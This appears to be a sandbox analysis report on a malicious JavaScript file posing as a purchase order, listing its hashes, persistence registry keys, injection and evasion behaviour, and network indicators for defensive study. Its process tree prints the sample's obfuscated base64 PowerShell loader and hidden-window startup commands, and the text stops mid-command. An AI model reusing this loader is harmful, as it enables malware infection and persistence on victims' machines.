a4f64df830be4d3fcccc4b5a4d7aadebe13bdc742a742dc7cbb093f83c7cca7f

Analysis

max time kernel
148s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/09/2026, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AVIODIRECT-PO#2026-175.js
Size 632KB
Sample260909-ppjjtswarf
SHA256 a4f64df830be4d3fcccc4b5a4d7aadebe13bdc742a742dc7cbb093f83c7cca7f
MD5 655b6d299fc049ef1d4018d79ce0ad3a
SHA1 6f7bfa8fb24d19b710014554a4c222c46cfe853c
SHA512 8049c4d12677eebf183376ae30191aa195210f656fd2bf800700b945dcbc08686cd65d86ce38fbdd835adc1d257c2a421343737fd7d330e111bfbeec0c0929a7
SSDEEP 1536:f1d161d1T1d1qZfPsv3l1d111d1mq1d19Xn/:9z0zJzcfPs/Lz7zmEz93/
TLSH
T19BD4A456FA4C1A7B8BC9C9C765C4F68A4CEC276F1627F4C4509A087F81B4FA9C0D82E5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1540	powershell.exe
55	2220	powershell.exe
58	2220	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1540	powershell.exe
4272	powershell.exe
3720	powershell.exe
23508	powershell.exe
2220	powershell.exe
3932	powershell.exe
5452	powershell.exe
1936	powershell.exe
17732	powershell.exe
10932	powershell.exe
3792	powershell.exe
556	powershell.exe
4124	powershell.exe

.NET Reactor proctector 4 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/5084-2127-0x00000240564D0000-0x0000024056530000-memory.dmp	net_reactor
behavioral1/memory/5084-3722-0x0000024056860000-0x00000240568BE000-memory.dmp	net_reactor
behavioral1/memory/5084-6149-0x0000024056C30000-0x0000024056C9A000-memory.dmp	net_reactor
behavioral1/memory/5084-4471-0x0000024056B50000-0x0000024056BC4000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	wscript.exe

Deletes itself 1 IoCs

pid	Process
3676	wscript.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-590 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\sdsum.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-590 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\sdsum.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-590 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\sdsum.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Drivers-Update-181 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\sdsum.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-590 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\sdsum.ps1\""	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
101	api.ipify.org
102	api.ipify.org

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
2220	powershell.exe
2220	powershell.exe
3720	powershell.exe
3720	powershell.exe
10932	powershell.exe
10932	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3720 set thread context of 5084	3720	powershell.exe	141
PID 10932 set thread context of 2836	10932	powershell.exe	148

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4540	cmd.exe
3408	cmd.exe
2776	cmd.exe
4988	cmd.exe
4960	cmd.exe
4592	cmd.exe
1632	cmd.exe
4776	cmd.exe
3296	cmd.exe
5100	cmd.exe
4068	cmd.exe
528	cmd.exe
3216	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 26 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4592	cmd.exe
4368	PING.EXE
1736	PING.EXE
4056	PING.EXE
1984	PING.EXE
2308	PING.EXE
3216	cmd.exe
4336	PING.EXE
4540	cmd.exe
2776	cmd.exe
3296	cmd.exe
2984	PING.EXE
4636	PING.EXE
4820	PING.EXE
4960	cmd.exe
528	cmd.exe
3408	cmd.exe
4880	PING.EXE
3000	PING.EXE
4380	PING.EXE
1632	cmd.exe
4776	cmd.exe
1712	PING.EXE
4988	cmd.exe
5100	cmd.exe
4068	cmd.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3904	ipconfig.exe
460	ipconfig.exe

Runs ping.exe 1 TTPs 13 IoCs

Remote System Discovery

T1018

pid	Process
1712	PING.EXE
2984	PING.EXE
4880	PING.EXE
4636	PING.EXE
4820	PING.EXE
3000	PING.EXE
1984	PING.EXE
4380	PING.EXE
1736	PING.EXE
4368	PING.EXE
4056	PING.EXE
2308	PING.EXE
4336	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4124	powershell.exe
4124	powershell.exe
1540	powershell.exe
1540	powershell.exe
2220	powershell.exe
2220	powershell.exe
2220	powershell.exe
556	powershell.exe
556	powershell.exe
2220	powershell.exe
2220	powershell.exe
3932	powershell.exe
3932	powershell.exe
2220	powershell.exe
4272	powershell.exe
4272	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
5452	powershell.exe
5452	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
1936	powershell.exe
1936	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
5084	installutil.exe
5084	installutil.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
23508	powershell.exe
23508	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
17732	powershell.exe
17732	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
10932	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3720	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	556	powershell.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	5084	installutil.exe
Token: SeDebugPrivilege	5452	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	23508	powershell.exe
Token: SeDebugPrivilege	17732	powershell.exe
Token: SeDebugPrivilege	10932	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 3676 wrote to memory of 4944	3676	wscript.exe	87
PID 4944 wrote to memory of 4124	4944	wscript.exe	88
PID 4124 wrote to memory of 1540	4124	powershell.exe	90
PID 1540 wrote to memory of 460	1540	powershell.exe	91
PID 1540 wrote to memory of 3904	1540	powershell.exe	92
PID 1540 wrote to memory of 1664	1540	powershell.exe	93
PID 1540 wrote to memory of 596	1540	powershell.exe	94
PID 1540 wrote to memory of 4336	1540	powershell.exe	95
PID 1540 wrote to memory of 2220	1540	powershell.exe	104
PID 2220 wrote to memory of 4540	2220	powershell.exe	107
PID 4540 wrote to memory of 1736	4540	cmd.exe	108
PID 2220 wrote to memory of 1632	2220	powershell.exe	109
PID 2220 wrote to memory of 4776	2220	powershell.exe	110
PID 2220 wrote to memory of 3408	2220	powershell.exe	111
PID 2220 wrote to memory of 2776	2220	powershell.exe	112
PID 2220 wrote to memory of 3296	2220	powershell.exe	113
PID 3408 wrote to memory of 1712	3408	cmd.exe	115
PID 4776 wrote to memory of 4880	4776	cmd.exe	114
PID 1632 wrote to memory of 2984	1632	cmd.exe	116
PID 2776 wrote to memory of 4820	2776	cmd.exe	117
PID 3296 wrote to memory of 4636	3296	cmd.exe	118
PID 2220 wrote to memory of 4988	2220	powershell.exe	119
PID 2220 wrote to memory of 5100	2220	powershell.exe	120
PID 2220 wrote to memory of 4068	2220	powershell.exe	121
PID 2220 wrote to memory of 4960	2220	powershell.exe	122
PID 2220 wrote to memory of 4592	2220	powershell.exe	123
PID 5100 wrote to memory of 3000	5100	cmd.exe	124
PID 4068 wrote to memory of 4056	4068	cmd.exe	125
PID 4988 wrote to memory of 4368	4988	cmd.exe	126
PID 4960 wrote to memory of 2308	4960	cmd.exe	127
PID 4592 wrote to memory of 1984	4592	cmd.exe	128
PID 2220 wrote to memory of 556	2220	powershell.exe	129
PID 2220 wrote to memory of 528	2220	powershell.exe	130
PID 528 wrote to memory of 4380	528	cmd.exe	131
PID 2220 wrote to memory of 3216	2220	powershell.exe	132
PID 3216 wrote to memory of 4336	3216	cmd.exe	133
PID 2220 wrote to memory of 4704	2220	powershell.exe	134
PID 2220 wrote to memory of 3932	2220	powershell.exe	135
PID 2220 wrote to memory of 4272	2220	powershell.exe	136
PID 2220 wrote to memory of 3720	2220	powershell.exe	137
PID 2220 wrote to memory of 2432	2220	powershell.exe	139
PID 3720 wrote to memory of 5084	3720	powershell.exe	141
PID 3720 wrote to memory of 5084	3720	powershell.exe	141
PID 3720 wrote to memory of 5084	3720	powershell.exe	141
PID 3720 wrote to memory of 5084	3720	powershell.exe	141
PID 3720 wrote to memory of 5452	3720	powershell.exe	142
PID 5452 wrote to memory of 1936	5452	powershell.exe	143
PID 5452 wrote to memory of 23508	5452	powershell.exe	144
PID 5452 wrote to memory of 17732	5452	powershell.exe	145
PID 3720 wrote to memory of 10932	3720	powershell.exe	146
PID 5452 wrote to memory of 3792	5452	powershell.exe	147
PID 10932 wrote to memory of 2836	10932	powershell.exe	148
PID 10932 wrote to memory of 2836	10932	powershell.exe	148
PID 10932 wrote to memory of 2836	10932	powershell.exe	148
PID 10932 wrote to memory of 2836	10932	powershell.exe	148

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\AVIODIRECT-PO#2026-175.js
1⤵
- Checks computer location settings
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:3676
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\pwxsb.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$dlysw = $null ;;$sPaFf ;;$zXkuP ;;$zXkuP = 'O1Ns' + 'ZW' + 'VwIDY7DQp' + '0' + 'cnl7DQoNCjtpcGNvbmZpZy' + ' + A + ' + 'vcmVs' + 'ZW' + 'FzZSB8IE' + ' + 9 + ' + '1dC1OdWxsOw' + '0' + 'KO2lwY2' + ' + 9 + ' + 'uZmlnIC' + ' + 9 + ' + 'y' + 'ZW' + '5ldyB8IE' + ' + 9 + ' + '1dC1OdWxsOw' + '0' + 'KO25ldHNoIHdpbnNvY2sgcmVzZXQgfCBPdXQtTnVsbDsNCjtuZXRzaCBpbnQgaX' + 'A' + 'gcmVzZXQgfCBPdXQtTnVsbDsNCjsNCg' + '0' + 'KJGE4S21McC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoMTExNzg' + '0' + 'NjYpIDsNCiRkOEdoID' + '0' + 'gQCgyMzUsMzcsMjUwLDIyNiwxMj' + 'A' + 'sMTkxLDExMCw3MSwyMz' + 'A' + 'sMjExLDQyLDI' + '0' + 'MSwxMDIsMTc1LDEzNiwxODIsMjMyLDE5LDIyNiwyMzcsMT' + 'A' + '5LDIxNywxMjIsMTIxLDIwOSwyMDksMTE3LDI' + '0' + 'MSw4MiwxODQsMTY1LDEzOCwyNDIsMzQsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw5MywyMDUsMTY1LDg3LDIyNywxMjYsMTM' + '0' + 'LDE2MiwxODEsMjEwLDEyMSwxOTIsMjExLDY3LDE5MCw5LDcsMjIyLDE4NSwxMTgsMTY2LDEyNiwxMz' + 'A' + 'sMTQwLDI' + '0' + 'NywyMzUsMTksMjMwLDI1NSwxMDQsMj' + 'A' + 'zLDQsOD' + 'A' + 'sMjIxLDIxMSwzOSwyMjcsODMsMTM' + '0' + 'LDE3OCwyNDUsMjEzLDEyLDE' + '0' + 'OCwyND' + 'A' + 'sMTIwLDIxMiwxMT' + 'A' + 'sNiwyMjEsMTgyLDEwNSwyMz' + 'A' + 'sMTI2LDEzNCwxNzgsMjQzLDIwOCwxOSwyNTQsMjU1LDEwNCwxOTYsMTE' + '0' + 'LDkzLDIyMSwxODIsNDIsMjQxLDEyMCwxODIsMTM5LDE2NiwyNDgsOCwyMzcsMjQwLDY5LDE5NiwxMTgsMiwyMDUsMTY5LDEwOSwyMjEsMTI2LDEzMCwxNjUsMTY2LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOTIsMjI5LDIxMSw5MSwxNjcsODYsMTUzLDEzNiwxNTEsMjExLDM4LDE1NiwyND' + 'A' + 'sMTEzLDIyMywxMjYsODUsMj' + 'A' + '5LDE' + '0' + 'MCw3MiwyNTEsMTExLDE' + '0' + 'NiwyMDksMTMxLDIxMCwxMj' + 'A' + 'sMjI2LDI1MSw2NywyMTksMTE4LDY4LDIyNSwxNzgsNDMsMjIyLDEwOSwxNTMsMTgyLDE' + '0' + 'OCwyMTIsMTksMjM4LDI1MSwxMDYsMj' + 'A' + '3LDg4LDk5LDIyNSwxODUsODMsMjQ4LDEyNiwxMz' + 'A' + 'sMTUxLDE2NiwyNTEsMTIwLDI1NCwyNTEsNjcsMjIzLDksMTIxLDIyMSwxNzgsMTI1LDI' + '0' + 'MSwxMjQsMTg' + '0' + 'LDE2NSwxNzUsMjExLDM4LDIzNCwyNDksMTIzLDIyMyw5NSw4MCwyMDcsMTUyLDk1LDI' + '0' + 'OCw4NSwxNT' + 'A' + 'sMTc4LDE4MCwyMTMsOCwxNTMsMjEzLDY5LDIxMiwxMDksODksMj' + 'A' + '1LDE2MiwxMDksMjQxLDEyNSwyNDMsMjIxLDE4MSwyMzIsMTksMjU' + '0' + 'LDIzMSw2NywxOT' + 'A' + 'sOCw2NiwyMTMsMTgyLDQ3LDIzNiw4NiwxNDYsMTM1LDE2NiwyNT' + 'A' + 'sNT' + 'A' + 'sMjM3LDI' + '0' + 'OSwxMTksMjEyLDExMCw3MSwyMz' + 'A' + 'sMTY5LDgzLDI' + '0' + 'OCwxMjQsMTQ2LDE2NSwyNDYsMjQyLDM' + '0' + 'LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI1LDEzMiwxNTEsMjQ' + '0' + 'LDIyNiwzOSwyNTQsMjE3LDY3LDIwNywxMjUsMTQsMj' + 'A' + '1LDE2Miw3NiwyMjgsMTEwLDE' + '0' + 'OSwxNzgsMTc3LDIxMiwyOSwyNT' + 'A' + 'sMjI2LDY3LDIyMyw5LDEyNywyMjIsMTg1LDc2LDIwOSw4NiwxNT' + 'A' + 'sMTc4LDE3OCwyMzUsOCwyMDMsMjQ5LDEyMCwyMTksMTMsNzcsMjI5LDE3OCwxMjUsMjQxLDEyNCwxODQsMTY1LDE3NSwyMjQsMTIxLDE' + '0' + 'OSwyMjYsNjksMj' + 'A' + 'zLDEwNiwzLDIyNCwxNjIsMTI1LDIyOSwxMjUsMjQxLDIwOSwxODMsMjExLDM5LDIzNywyNDksMT' + 'A' + '' + '0' + 'LDIwNyw3OSw4MCwyMDYsMjEwLDcyLDI1NSw4NSwxMzQsMTM2LDE3MSwyNTMsMTMsMjI2LDE2NywxMj' + 'A' + 'sMjIzLDk1LDgwLDIwNywxNTIsOTUsMjQ4LDgzLDEzNCwxMzYsMTcxLDI1MSw1MCwxOTksMjI2LDExNSwxOT' + 'A' + 'sMT' + 'A' + '2LDcsMjEwLDE' + '0' + 'MCw4OCwyMjksODMsMTUwLDE3NywxNzQsMjUxLDEyLDE1MywxNjYsNjcsMj' + 'A' + 'zLDc1LDcxLDIwNSwxNjUsMT' + 'A' + '5LDIyMSwxMjYsMTMwLDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNiw3MSwyMjIsMTM2LDk1LDI' + '0' + 'OSwxMjUsMTMyLDE1MSwyNDQsMjI2LDM5LDI1NCwyMTcsNjcsMj' + 'A' + '3LDEyNSw2NywyMz' + 'A' + 'sMTQwLDc1LDI' + '0' + 'MSwxMjUsMTM' + '0' + 'LDIwOSwyND' + 'A' + 'sMjExLDEyLDIxOSwyND' + 'A' + 'sMT' + 'A' + '5LDIxOSwxMjIsNjYsMjIyLDE2Miw5NSwyNTMsMT' + 'A' + 'wLDE4NywxMzYsMTM4LDIzMSwxNCwxNTcsMjI4LDEwNCwyMDcsMTMsNjYsMjIyLDE3OCw5NSwyMjUsMTI' + '0' + 'LDE' + '0' + 'NiwxNjYsMjQ2LDI' + '0' + 'MiwzNCwyMzcsMjQwLDEwNCwyMDcsMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNDgsMTMsMjE2LDE5Niw2OSwyMTksOSw3LDIyOSwxODIsNDcsMjUwLDEyMywxNz' + 'A' + 'sMTM2LDE4MCwyMTMsMTIsMjUwLDIzOCw2NywxOTEsMTI2LDk5LDIyMiwxODUsODQsMTY' + '0' + 'LDg2LDE1MCwxNz' + 'A' + 'sMTczLDIxMCw1MCwxNTMsMjE3LDEyMCwyMTIsMTE4LDc3LDIyOSwxNjYsODgsMjI5LDExMSwxNDksMTM5LDI' + '0' + 'NywyMzEsMTIwLDIzMCwyMzEsNjksMj' + 'A' + 'zLDEwNiwxMjUsMjMwLDE' + '0' + 'Myw3OSwyMzYsMTIyLDE2OCwxMzEsMTcwLDIyNiw' + '0' + 'OSwxOTIsMjIwLDExOSwyMDEsMTMsNjgsMj' + 'A' + 'wLDE2Miw5NSwyMjUsMTI' + '0' + 'LDE' + '0' + 'NiwxNjUsMjQ2LDI' + '0' + 'MiwzNCwyMzcsMjQwLDEwNCwyMDcsMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDgxLDE' + '0' + 'NCwxMzksMTY2LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sNzEsMjIzLDEyNiw5MywyMjEsMTg1LDc2LDI1Miw4NiwxMz' + 'A' + 'sMTY2LDI' + '0' + 'NiwyMTUsMjYsMTk1LDIyMCwxMDQsMj' + 'A' + '3LDEyNSw4MCwyMDUsMTYyLDgzLDI' + '0' + 'MSwxMjIsMTg' + '0' + 'LDIwOCwxNjYsMjI3LDI5LDI1NCwyMDcsMT' + 'A' + '' + '0' + 'LDIwMywxMTgsNjgsMjI5LDE4Miw' + '0' + 'MywyNTMsMTI2LDEzMCwxND' + 'A' + 'sMTgyLDIzMiwxOSwyNTQsMjUzLDY' + '0' + 'LDIwNywxMjYsOTIsMjIyLDE3OCw5MiwyMDgsODMsMTM3LDEyOCwxMzUsMjEzLDM4LDI1MCwyMjYsNjksMj' + 'A' + 'yLDg4LDc4LDIyOSwxODUsNzYsMjUwLDEyNiwxMzQsMTc4LDE4MSwyNDgsMTIsMTUzLDE2NywxMjMsMj' + 'A' + 'zLDY4LDY4LDIwNywxNzgsOTIsMjU1LDg1LDEzNCwyMjEsMTcxLDIwOCw1MCwyMzgsMj' + 'A' + '5LDExOSwyMDIsOTUsOD' + 'A' + 'sMj' + 'A' + 'zLDE1MCwxMTMsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyMTMsMywyMz' + 'A' + 'sMTYyLDEwNCwxOTYsNzksMTI' + '0' + 'LDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNDgsOCwyMzcsMjUyLDY' + '0' + 'LDE4OSwxMDIsNzgsMjMwLDE4NSw3MiwyMjcsMT' + 'A' + 'xLDE2OCwxNjUsMjQ4LDI' + '0' + 'OCw4LDIwNywyMj' + 'A' + 'sMTE4LDE4OCwxMT' + 'A' + 'sNjgsMjMwLDE2NCwxMTQsMjI2LDg' + '0' + 'LDEzNCwyMjEsMTg' + '0' + 'LDIxMyw4LDIwMywyNTQsMT' + 'A' + '' + '0' + 'LDIyNSw3Miw5MSwyMzEsMTQwLDQzLDI1MCw4NSwxMzMsMTY5LDE4NCwyNDgsMzQsMjI5LDIzMSwxMjEsMjIzLDEyNiw2NCwyMjQsMTgyLDg' + '0' + 'LDIyOSw4NiwxNT' + 'A' + 'sMTY5LDE2NiwyMT' + 'A' + 'sMTIwLDI1NCwyNTUsNjksMj' + 'A' + 'zLDgwLDkzLDIwNSwxNjYsNzIsMTYyLDgzLDEzNCwxNzgsMTg' + '0' + 'LDIxMSwzNCwyMzgsMjIxLDY3LDIyNiwxMT' + 'A' + 'sMT' + 'A' + 'yLDIyNCwxNjksODcsMjQxLDEwMSwyNDMsMTc4LDI' + '0' + 'MSwyMjgsMywyMz' + 'A' + 'sMjI1LDEyMCwxODgsMTIyLDkyLDIyMiwxNjksODQsMjUwLDg' + '0' + 'LDI' + '0' + 'MiwxNjksMTc' + '0' + 'LDIyNiwyOCwxNTMsMTY3LDExNiwxOTYsMTEwLDc4LDIwNSwxNjYsMTIxLDIyOSwxMjYsMTM3LDE3MCwyNDEsMjEwLDM4LDE5MiwyMjYsMTIzLDI' + '0' + 'NSwxMjYsNjYsMj' + 'A' + '3LDE3OCw5NSwxNjEsMTE2LDE3MywxNDQsMTMyLDIxMSwxMiwyMTIsMjIxLDY3LDIxMiwxMjYsNjUsMjMxLDE' + '0' + 'Myw3OSwyNDksMTI2LDE2OCwxNzQsMTc5LDIzNSwxOSwyMz' + 'A' + 'sMjI2LDEyMywyMTksNzUsNzcsMj' + 'A' + 'xLDEzNiw4NywyNTUsMTI' + '0' + 'LDE1MSwyMTIsMTY2LDIxMCwzLDI1MCwyNTQsNjcsMj' + 'A' + 'zLDgwLDkzLDIwNSwxNjksOD' + 'A' + 'sMTY2LDExMCwxNTMsMTgyLDE3NywyMzIsNT' + 'A' + 'sMjM4LDI1MSw2OCwxOTYsMTEwLDkxLDIzMSwxND' + 'A' + 'sNDIsMjQxLDEwMCwxNT' + 'A' + 'sMj' + 'A' + '5LDI' + '0' + 'MSwyMjgsMywyNTQsMjM4LDEwNCwyMDEsNjgsNjUsMjIxLDE4Miw3NiwyMTksODYsMTUwLDE3NCwxODQsMjMyLDE5LDIzMCwxNjIsMT' + 'A' + '2LDE5NiwxMTQsNywyMzEsMTQwLDExNCwyMjcsMT' + 'A' + '5LDE4NCwxNjYsMTgwLDI1MCwyNCwyMzcsMTYwLDk4LDIyNCw3MiwxMTQsMjMwLDE2NiwxMDIsMjIwLDg1LDE1MywxNjYsMTgzLDIxMCwzNywyNTMsMjQ4LDEwNCwyMjksMTE4LDY5LDIyMiwxODUsODQsMjI3LDEwOSwxNT' + 'A' + 'sMTQ3LDE4NywyNTIsMzQsMjI5LDI1NCwxMDYsMjE4LDEyLDgwLDIzMSwxNjksNzIsMjU1LDg1LDEzNCwxMzYsMTcxLDI' + '0' + 'OCwzLDIyNiwxNjcsMTIwLDIxMiwxMT' + 'A' + 'sNzEsMjIxLDE1Miw5MiwyNT' + 'A' + 'sODIsMTM3LDE4MiwxNzMsMjEwLDM4LDE1MiwyND' + 'A' + 'sMTIwLDIyNSw1LDY1LDIzMCwxNjIsOTIsMTkzLDg2LDE1MywxNzQsMjQxLDIxMywyOCwyMzQsMjI4LDExNiwxOTYsMTE4LDY1LDIyNCwxNjYsNzIsMjUyLDgzLDEzMCwxND' + 'A' + 'sMTM5LDIxMSwzNywyNTQsMTk4LDY5LDE5NiwxMTcsOD' + 'A' + 'sMjIxLDE3OCwxMDUsMjQxLDk3LDE' + '0' + 'OCwxMzYsMTgwLDIxMywxMywyMzgsMTY3LDY2LDIyOSwxMjYsNzcsMj' + 'A' + 'wLDE2Miw5MiwxNjcsODYsMTUwLDIwOSwyNDEsMjQ4LDMsMjM3LDIyOCwxMDQsMj' + 'A' + 'zLDUsNiwyMjQsMTYyLDkyLDE2Nyw4NiwxNT' + 'A' + 'sMj' + 'A' + '5LDI' + '0' + 'MSwyNDgsMTIsMTQ4LDIzMSwxMDQsMj' + 'A' + 'wLDc5LDg5LDIwNSwxNjUsMT' + 'A' + '5LDIyMSwxMjYsMTMwLDE2NSwxNjYsMjQ4LDgsMjM3LDI' + '0' + 'MCwxMDQsMj' + 'A' + '3LDEyNSw5MiwyMjksMjExLDkxLDE2Nyw4NiwxNTMsMTM2LDE1MSwyMTEsMzgsMTU2LDI' + '0' + 'MCwxMTMsMjIzLDEyNiwxMTcsMjIyLDE2Niw3OSwyMjYsOTcsMTM3LDEzNiwxODIsMjM1LDI' + '0' + 'LDIzNywyMjcsMTE3LDIxOSwxMDYsNjcsMjIxLDE' + '0' + 'MCw3MiwyMzksMT' + 'A' + 'xLDEzNCwxNzgsMTcyLDIwOCwyOCwxNTMsMjMxLDY5LDIwMyw4MCw2NSwyMz' + 'A' + 'sMTM2LDk1LDI1Myw4NiwyND' + 'A' + 